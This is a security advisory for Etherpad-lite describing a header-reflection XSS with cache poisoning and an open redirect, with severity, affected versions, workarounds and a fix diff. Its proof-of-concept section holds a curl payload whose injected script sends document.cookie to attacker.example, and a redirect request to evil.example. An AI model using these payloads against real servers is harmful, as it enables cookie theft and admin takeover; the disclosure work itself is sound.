GHSA-03 — x-proxy-path header reflected into admin HTML/JS/CSS (cache-poisoning XSS) and concatenated into redirect (open-redirect)

Title

Description

Issue 3a — src/node/hooks/express/admin.ts (XSS, cache-poisoning)

• An attacker who can issue a request with a chosen x-proxy-path value gets that value reflected into HTML/JS/CSS sent back to them. Reflected XSS on the admin origin (requires victim to be tricked into issuing the request from a context that interprets HTML).
• More seriously, any reverse proxy or CDN in front of Etherpad that caches /admin/index.html keyed on URL alone (the common case — no Vary was set) will cache the poisoned response and serve it to subsequent admins. Cache-poisoning XSS against every admin that loads the same bundle from the same cache.

Issue 3b — src/node/hooks/express/specialpages.ts (open-redirect via protocol-relative URL)

res.redirect(302, `${proxyPath}/p/${encodeURIComponent(req.params.pad)}`);

Severity rationale

• AV:N / AC:L / PR:N — the admin path requires no authentication of the attacker. The victim of the XSS must be an authenticated admin who loads a poisoned cached response.
• UI:R — victim must visit/interact with the admin UI.
• S:C — scope changes (attacker context to admin origin).
• C:L / I:L — XSS in the admin context can read/write admin-scoped data; full admin-account takeover requires additional CSRF-style chaining.

Affected versions

• Admin XSS (Issue 3a): ep etherpad-lite >= 2.1.0, <= 3.0.0. The unsanitised replaceAll("/admin", req.header(PROXY HEADER) + ...) was present in 63e9b2d "Fixed api header authorization" (#6399), first tagged in v2.1.0 (2024-05-22). All releases through v3.0.0 carry it.
• Open-redirect (Issue 3b): ep etherpad-lite = 3.0.0. The legacy timeslider redirect that concatenates the proxy path into a Location header was introduced in 451bd9c "scrub history in-place on the pad URL" (#7710) and first shipped in v3.0.0. Pre-v3 releases serve the timeslider directly without a redirect and are not exposed to this specific shape.
• Combined fix-target range covered by the GHSA: >= 2.1.0, <= 3.0.0.

Patched versions

• ep etherpad-lite >= 3.1.0 — the fix is on develop HEAD as commit 8c6104c. Update this field with the actual tagged release version when it ships.

Proof of concept

XSS / cache poisoning

curl -s 'https://pad.example/admin/index.html' 
 -H 'x-proxy-path: "><script>fetch("https://attacker.example/?c="+document.cookie)</script><i a="'

# If served by a shared cache without Vary on x-proxy-path, subsequent
# requests to /admin/index.html (from any admin) get the same poisoned
# HTML.

Open redirect

curl -i 'https://pad.example/p/foo/timeslider' 
 -H 'x-proxy-path: //evil.example'

# HTTP/1.1 302 Found
# Location: //evil.example/p/foo

Workarounds

• Configure the reverse proxy (nginx, traefik, HAProxy, etc.) to strip or overwrite x-proxy-path from inbound client requests. Most production deployments already do this; the bug only matters in deployments that don't.
• For the timeslider redirect specifically: disable the legacy direct-timeslider URL by client-side routing to /p/:pad (the in-pad PadModeController handles history mode without ever loading the standalone timeslider).

Fix

1. Extracted src/node/utils/sanitizeProxyPath.ts — a single shared helper used by both admin.ts and specialpages.ts. The helper:

• returns "" when the header is absent;
• strips characters outside [A-Za-z0-9 ./-];
• collapses a leading //+ to a single / (kills protocol-relative URLs);
• prepends / if the cleaned non-empty value doesn't already have one (so callers can always concatenate as an absolute prefix);
• rejects .. traversal segments.

2. admin.ts now emits Vary: x-proxy-path and Cache-Control: private, no-store on HTML/JS/CSS responses that varied by the header, so downstream caches cannot collapse responses across different header values.

-const sanitizeProxyPath = (req: any): string => {
- const raw = req.header('x-proxy-path') || '';
- return raw.replace(/[^a-zA-Z0-9- /.]/g, '');
-};
+import {sanitizeProxyPath} from '../../utils/sanitizeProxyPath';

  if (ext === ".html" || ext === ".js" || ext === ".css") {
-  if (req.header(PROXY HEADER)) {
+  const proxyPath = sanitizeProxyPath(req);
+  if (proxyPath) {
    let string = data.toString()
-   dataToSend = string.replaceAll("/admin", req.header(PROXY HEADER) + "/admin")
-   dataToSend = dataToSend.replaceAll("/socket.io", req.header(PROXY HEADER) + "/socket.io")
+   dataToSend = string.replaceAll("/admin", proxyPath + "/admin")
+   dataToSend = dataToSend.replaceAll("/socket.io", proxyPath + "/socket.io")
   }
+  res.setHeader('Vary', 'x-proxy-path');
+  res.setHeader('Cache-Control', 'private, no-store');
  }

Resources

• Patched in: https://github.com/ether/etherpad/pull/7784 (squash commit 8c6104c).
• Admin XSS vulnerable code introduced in: https://github.com/ether/etherpad/commit/63e9b2d (PR #6399), released in v2.1.0.
• Open-redirect vulnerable code introduced in: https://github.com/ether/etherpad/commit/451bd9c (PR #7710), released in v3.0.0.

Credits